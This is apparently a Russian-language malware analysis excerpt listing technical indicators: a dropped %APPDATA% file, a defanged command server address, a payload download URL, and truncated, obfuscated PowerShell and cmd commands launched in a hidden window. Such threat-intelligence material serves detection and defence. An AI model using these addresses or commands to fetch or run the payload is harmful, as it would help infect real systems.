Техническая информация
- %APPDATA%\stallman.fro
- '10#.#95.237.43':80
- http://10#.#95.237.43/Nyet.qxd
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle U... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "echo %appdata%\stallman.Fro && echo t"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle U...
- '%WINDIR%\syswow64\cmd.exe' /c "echo %appdata%\stallman.Fro && echo t"